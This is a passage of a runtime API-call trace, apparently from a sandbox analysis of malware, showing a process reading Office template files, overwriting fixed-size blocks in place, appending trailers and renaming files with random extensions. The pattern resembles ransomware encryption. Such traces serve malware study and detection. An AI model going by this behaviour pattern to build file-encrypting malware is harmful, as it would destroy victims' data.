(lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx", dwFileAttributes=0x20) returned 1 [0148.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d90 [0148.656] GetFileSizeEx (in: hFile=0x1d90, lpFileSize=0x29f5fa40 | out: lpFileSize=0x29f5fa40*=17663) returned 1 [0148.656] SetFilePointerEx (in: hFile=0x1d90, liDistanceToMove=0x44fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.656] ReadFile (in: hFile=0x1d90, lpBuffer=0x29f5f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29f5fa08, lpOverlapped=0x0 | out: lpBuffer=0x29f5f9c0*, lpNumberOfBytesRead=0x29f5fa08*=0x4, lpOverlapped=0x0) returned 1 [0148.658] SetFilePointerEx (in: hFile=0x1d90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0148.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673b0 [0148.659] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0148.659] NtQuerySystemTime (in: CurrentTime=0x29f5f900 | out: CurrentTime=0x29f5f900*=132462177538858000) returned 0x0 [0148.659] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x21f167e [0148.659] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x2ba1da3d [0148.659] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x6ca558e0 [0148.659] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x4cad9cf8 [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x3116a813 [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x40c0cb62 [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x66ebc209 [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x3260a002 [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0xaace40b [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x48799d33 [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x21e7c985 [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x7e7233ae [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x20d9131b [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x39eaf93f [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x57a9e570 [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x20831760 [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x6d7a794d [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0xcbf2a0 [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x6849dfc [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x820c2ff [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x7a74402a [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0xca6146f [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0xeca65ba [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x6a36ffa0 [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x2ac2e10b [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x3c9f8b66 [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x74932cdb [0148.660] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x574115da [0148.661] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x26f4b18c [0148.661] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x716a68fc [0148.661] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x8896d74 [0148.661] RtlRandomEx (in: Seed=0x29f5f8f0 | out: Seed=0x29f5f8f0) returned 0x6d4ffa7b [0148.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0148.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0148.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0148.677] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0148.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f00d80 [0148.678] SetFilePointerEx (in: hFile=0x1d90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.678] ReadFile (in: hFile=0x1d90, lpBuffer=0x41f00d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x29f5f960, lpOverlapped=0x0 | out: lpBuffer=0x41f00d80*, lpNumberOfBytesRead=0x29f5f960*=0x3c00, lpOverlapped=0x0) returned 1 [0148.679] SetFilePointerEx (in: hFile=0x1d90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0148.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0148.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f0c1b0 [0148.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0148.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0148.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0148.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.681] WriteFile (in: hFile=0x1d90, lpBuffer=0x41f0c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x29f5f960, lpOverlapped=0x0 | out: lpBuffer=0x41f0c1b0*, lpNumberOfBytesWritten=0x29f5f960*=0x3c00, lpOverlapped=0x0) returned 1 [0165.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f0c1b0) returned 1 [0165.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f00d80) returned 1 [0165.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42c191a0 [0165.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18eb0 [0165.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5fa0 [0165.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c190b0 [0165.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c190b0) returned 1 [0165.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x42c190b0 [0165.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c190e0 [0165.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19050 [0165.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19050) returned 1 [0165.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5fa0) returned 1 [0165.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18eb0) returned 1 [0165.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x1ce12e90 [0165.929] SetFilePointerEx (in: hFile=0x1d90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.929] WriteFile (in: hFile=0x1d90, lpBuffer=0x1ce12e90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x29f5fa10, lpOverlapped=0x0 | out: lpBuffer=0x1ce12e90*, lpNumberOfBytesWritten=0x29f5fa10*=0x10c, lpOverlapped=0x0) returned 1 [0200.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0200.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0200.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20267320 [0200.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0200.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0200.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0200.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7d7e40 [0200.053] sprintf (in: _Dest=0x1b7d7e40, _Format="%c%c" | out: _Dest="d4") returned 2 [0200.053] sprintf (in: _Dest=0x1b7d7e42, _Format="%c%c" | out: _Dest="f6") returned 2 [0200.053] sprintf (in: _Dest=0x1b7d7e44, _Format="%c%c" | out: _Dest="66") returned 2 [0200.053] sprintf (in: _Dest=0x1b7d7e46, _Format="%c%c" | out: _Dest="f9") returned 2 [0200.053] sprintf (in: _Dest=0x1b7d7e48, _Format="%c%c" | out: _Dest="6a") returned 2 [0200.053] sprintf (in: _Dest=0x1b7d7e4a, _Format="%c%c" | out: _Dest="71") returned 2 [0200.053] sprintf (in: _Dest=0x1b7d7e4c, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.053] sprintf (in: _Dest=0x1b7d7e4e, _Format="%c%c" | out: _Dest="34") returned 2 [0200.053] sprintf (in: _Dest=0x1b7d7e50, _Format="%c%c" | out: _Dest="dd") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e52, _Format="%c%c" | out: _Dest="f7") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e54, _Format="%c%c" | out: _Dest="e3") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e56, _Format="%c%c" | out: _Dest="fc") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e58, _Format="%c%c" | out: _Dest="f1") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e5a, _Format="%c%c" | out: _Dest="9b") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e5c, _Format="%c%c" | out: _Dest="c5") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e5e, _Format="%c%c" | out: _Dest="a8") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e60, _Format="%c%c" | out: _Dest="e7") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e62, _Format="%c%c" | out: _Dest="33") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e64, _Format="%c%c" | out: _Dest="92") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e66, _Format="%c%c" | out: _Dest="22") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e68, _Format="%c%c" | out: _Dest="35") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e6a, _Format="%c%c" | out: _Dest="d7") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e6c, _Format="%c%c" | out: _Dest="0a") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e6e, _Format="%c%c" | out: _Dest="b3") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e70, _Format="%c%c" | out: _Dest="d1") returned 2 [0200.054] sprintf (in: _Dest=0x1b7d7e72, _Format="%c%c" | out: _Dest="5b") returned 2 [0200.054] RtlInitAnsiString (in: DestinationString=0x29f5fa88, SourceString="d4f666f96a71ad34ddf7e3fcf19bc5a8e733922235d70ab3d15b" | out: DestinationString="d4f666f96a71ad34ddf7e3fcf19bc5a8e733922235d70ab3d15b") [0200.054] RtlAnsiStringToUnicodeString (in: DestinationString=0x29f5fa58, SourceString="d4f666f96a71ad34ddf7e3fcf19bc5a8e733922235d70ab3d15b", AllocateDestinationString=1 | out: DestinationString="d4f666f96a71ad34ddf7e3fcf19bc5a8e733922235d70ab3d15b") returned 0x0 [0200.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42061fb0 [0200.055] wcscat (in: _Dest=0x431e38a0, _Source="d4f666f96a71a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d4f666f96a71a") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d4f666f96a71a" [0200.055] wcscat (in: _Dest=0x431e38a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d4f666f96a71a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d4f666f96a71a.2f9b60" [0200.055] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\d4f666f96a71a.2f9b60", NtPathName=0x29f5fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\d4f666f96a71a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x431ecd20 Thread: id = 2299 os_tid = 0x1c50 [0148.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx")) returned 0x20 [0148.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx", dwFileAttributes=0x20) returned 1 [0148.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f60 [0148.685] GetFileSizeEx (in: hFile=0x1f60, lpFileSize=0x1d42f960 | out: lpFileSize=0x1d42f960*=1241949) returned 1 [0148.685] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0x12f359, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.685] ReadFile (in: hFile=0x1f60, lpBuffer=0x1d42f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d42f928, lpOverlapped=0x0 | out: lpBuffer=0x1d42f8e0*, lpNumberOfBytesRead=0x1d42f928*=0x4, lpOverlapped=0x0) returned 1 [0148.687] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0148.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0148.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0148.688] NtQuerySystemTime (in: CurrentTime=0x1d42f820 | out: CurrentTime=0x1d42f820*=132462177539170000) returned 0x0 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x3fd7f6fc [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0xf018a85 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x1af3cb6d [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x992f3bd [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x50880620 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x48f1d7a1 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x7ddbe9a1 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x5cd76167 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x2c82f8e1 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x4fabda83 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x32968860 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x6255b2e9 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x430a0bba [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x7e319b21 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x389d0360 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x38113339 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x73911b67 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x2d1291b8 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x1e4e1012 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x1888c061 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x66564d9a [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x4976cecc [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x121fc9a7 [0148.688] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0xe8f6ad1 [0148.689] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x43a6b37c [0148.689] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x4f5c2fc [0148.689] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x5f88d2b [0148.689] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x15f96b54 [0148.689] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x30f80846 [0148.689] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x1419dec3 [0148.689] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x7a886001 [0148.689] RtlRandomEx (in: Seed=0x1d42f810 | out: Seed=0x1d42f810) returned 0x6d820094 [0148.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202657c0 [0148.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645f0 [0148.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0148.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0148.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201bd170 [0148.702] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.702] ReadFile (in: hFile=0x1f60, lpBuffer=0x201bd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d42f880, lpOverlapped=0x0 | out: lpBuffer=0x201bd170*, lpNumberOfBytesRead=0x1d42f880*=0x3c00, lpOverlapped=0x0) returned 1 [0148.704] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0148.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0148.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201c0d80 [0148.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0148.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0148.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0148.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.706] WriteFile (hFile=0x1f60, lpBuffer=0x201c0d80, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d42f880, lpOverlapped=0x0) [0193.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c0d80) returned 1 [0193.108] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0x99c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.108] ReadFile (in: hFile=0x1f60, lpBuffer=0x201bd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d42f880, lpOverlapped=0x0 | out: lpBuffer=0x201bd170*, lpNumberOfBytesRead=0x1d42f880*=0x3c00, lpOverlapped=0x0) returned 1 [0194.845] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0x99c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0194.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32d50 [0194.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32d50) returned 1 [0194.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2035cd00 [0194.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32d50 [0194.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32de0 [0194.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32de0) returned 1 [0194.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0194.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.849] WriteFile (in: hFile=0x1f60, lpBuffer=0x2035cd00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d42f880, lpOverlapped=0x0 | out: lpBuffer=0x2035cd00*, lpNumberOfBytesWritten=0x1d42f880*=0x3c00, lpOverlapped=0x0) returned 1 [0205.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2035cd00) returned 1 [0205.650] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0x12b75d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.650] ReadFile (in: hFile=0x1f60, lpBuffer=0x201bd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d42f880, lpOverlapped=0x0 | out: lpBuffer=0x201bd170*, lpNumberOfBytesRead=0x1d42f880*=0x3c00, lpOverlapped=0x0) returned 1 [0205.705] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0x12b75d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0205.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.707] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0205.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aaa0) returned 1 [0205.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203abd40 [0205.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0205.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0205.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0205.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0205.711] WriteFile (in: hFile=0x1f60, lpBuffer=0x203abd40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d42f880, lpOverlapped=0x0 | out: lpBuffer=0x203abd40*, lpNumberOfBytesWritten=0x1d42f880*=0x3c00, lpOverlapped=0x0) returned 1 [0215.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203abd40) returned 1 [0215.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431059f0 [0215.152] SetFilePointerEx (in: hFile=0x1f60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.152] WriteFile (in: hFile=0x1f60, lpBuffer=0x430bd900*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x1d42f930, lpOverlapped=0x0 | out: lpBuffer=0x430bd900*, lpNumberOfBytesWritten=0x1d42f930*=0x14c, lpOverlapped=0x0) returned 1 [0219.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62730 [0219.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 